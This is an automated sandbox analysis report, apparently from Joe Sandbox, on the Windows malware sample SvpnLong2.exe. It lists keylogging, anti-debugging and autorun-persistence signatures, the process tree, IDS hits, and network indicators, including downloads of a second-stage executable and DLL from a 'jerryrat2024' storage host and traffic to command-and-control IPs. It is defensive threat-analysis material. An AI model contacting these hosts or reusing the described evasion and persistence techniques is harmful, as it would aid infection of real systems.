Edit tour

Windows Analysis Report
SvpnLong2.exe

Overview

General Information

Sample name:	SvpnLong2.exe
Analysis ID:	1483468
MD5:	553f06cf08e33d5f59e69a45458d72e0
SHA1:	3b5fac3c1b19bf320e5eafc686175c9fbe5f1176
SHA256:	cc47d665e94711b5ed3c955d966f8357fc63cc39717c859505aa6e0aeacf227c
Tags:	exe
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (creates a PE file in dynamic memory)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Contains functionality to capture and log keystrokes

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a DirectInput object (often for capturing keystrokes)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a global mouse hook

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SvpnLong2.exe (PID: 7308 cmdline: "C:\Users\user\Desktop\SvpnLong2.exe" MD5: 553F06CF08E33D5F59E69A45458D72E0)

arphaCrashReport64.exe (PID: 7576 cmdline: "C:\ProgramData\dwgwp\arphaCrashReport64.exe" MD5: 8B5D51DF7BBD67AEB51E9B9DEE6BC84A)

arphaCrashReport64.exe (PID: 7616 cmdline: "C:\ProgramData\dwgwp\arphaCrashReport64.exe" MD5: 8B5D51DF7BBD67AEB51E9B9DEE6BC84A)

cleanup

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\dwgwp\arphaCrashReport64.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SvpnLong2.exe, ProcessId: 7308, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\thdjyx

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 154.82.85.193 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T17:00:18.177762+0200
SID:	2011803
Source Port:	9000
Destination Port:	49744
Protocol:	TCP
Classtype:	Executable code was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 52.165.165.26 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T16:58:36.597969+0200
SID:	2022930
Source Port:	443
Destination Port:	49741
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 154.82.85.193 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T17:00:10.062791+0200
SID:	2011803
Source Port:	9000
Destination Port:	49742
Protocol:	TCP
Classtype:	Executable code was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 52.165.165.26 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T16:57:58.592994+0200
SID:	2022930
Source Port:	443
Destination Port:	49735
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\dwgwp\arphaDump64.dll	ReversingLabs: Detection: 54%
Source: C:\ProgramData\dwgwp\arphaDump64.dll	Virustotal: Detection: 46%			Perma Link

Multi AV Scanner detection for submitted file

Source: SvpnLong2.exe

Virustotal: Detection: 10%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\SvpnLong2.exe	Unpacked PE file: 0.2.SvpnLong2.exe.2140000.5.unpack
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Unpacked PE file: 5.2.arphaCrashReport64.exe.21779380000.5.unpack

Source: unknown	HTTPS traffic detected: 39.97.203.118:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.97.203.118:443 -> 192.168.2.4:49734 version: TLS 1.2

Source: SvpnLong2.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\jenkins\workspace\ci.arphasdk.build\qtc_out\Release_X64\arphaCrashReport64.exe.pdb source: arphaCrashReport64.exe, 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000005.00000000.3151293256.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000006.00000000.3232260318.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000006.00000002.3529191999.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe.0.dr
Source:	Binary string: C:\Users\Admin\Documents\Visual Studio 2008\Projects\D11\x64\Release\D11.pdb source: arphaCrashReport64.exe, 00000005.00000002.3529427774.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmp, arphaCrashReport64.exe, 00000006.00000002.3529355020.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmp, arphaDump64.dll.0.dr
Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb!` source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0214EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_0214EF20
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_000002177938EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_000002177938EF20
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1D8F78 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,	5_2_00007FF73D1D8F78
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC520EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	6_2_000001CEC520EF20

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 280
Source: unknown	Network traffic detected: HTTP traffic on port 280 -> 49730

Source: global traffic	TCP traffic: 192.168.2.4:49730 -> 154.82.85.236:280
Source: global traffic	TCP traffic: 192.168.2.4:49731 -> 154.82.85.193:9000

Source: global traffic	HTTP traffic detected: GET /arphaCrashReport64.exe HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /arphaDump64.dll HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /Test.txt HTTP/1.1Connection: Keep-AliveHost: 154.82.85.236:280

Source: Joe Sandbox View	IP Address: 154.82.85.193 154.82.85.193
Source: Joe Sandbox View	IP Address: 154.82.85.236 154.82.85.236
Source: Joe Sandbox View	IP Address: 39.97.203.118 39.97.203.118

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.236
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.236
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.236
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.236
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.236
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_021421C0 select,recv,_errno,_errno,_errno,setsockopt,CancelIo,closesocket,SetEvent,

0_2_021421C0

Source: global traffic	HTTP traffic detected: GET /arphaCrashReport64.exe HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /arphaDump64.dll HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /Test.txt HTTP/1.1Connection: Keep-AliveHost: 154.82.85.236:280

Source: global traffic

DNS traffic detected: DNS query: jerryrat2024.oss-cn-beijing.aliyuncs.com

Source: SvpnLong2.exe, 00000000.00000002.3529483526.0000000003D30000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3025561998.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.000000000120D000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797136531.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797283155.000000000122D000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.0000000001225000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: SvpnLong2.exe, 00000000.00000003.1797136531.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797283155.000000000122D000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: SvpnLong2.exe, 00000000.00000002.3529483526.0000000003D30000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3025561998.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3025877805.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797136531.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797283155.000000000122D000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797136531.000000000120D000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawtePCA.crl0
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: SvpnLong2.exe, 00000000.00000002.3529483526.0000000003D30000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3025561998.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.000000000120D000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797136531.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797283155.000000000122D000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.0000000001225000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: SvpnLong2.exe, 00000000.00000003.1797136531.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797283155.000000000122D000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cs-g2-crl.thawte.com/ThawteCSG2.crl0
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: SvpnLong2.exe, 00000000.00000002.3529483526.0000000003D30000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3025561998.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3025877805.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797136531.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797283155.000000000122D000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797136531.000000000120D000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: SvpnLong2.exe, 00000000.00000002.3529483526.0000000003D30000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3025561998.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.3024658046.000000000120D000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797136531.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797283155.000000000122D000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.0000000001225000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: SvpnLong2.exe, 00000000.00000003.1797136531.0000000001225000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.1797283155.000000000122D000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
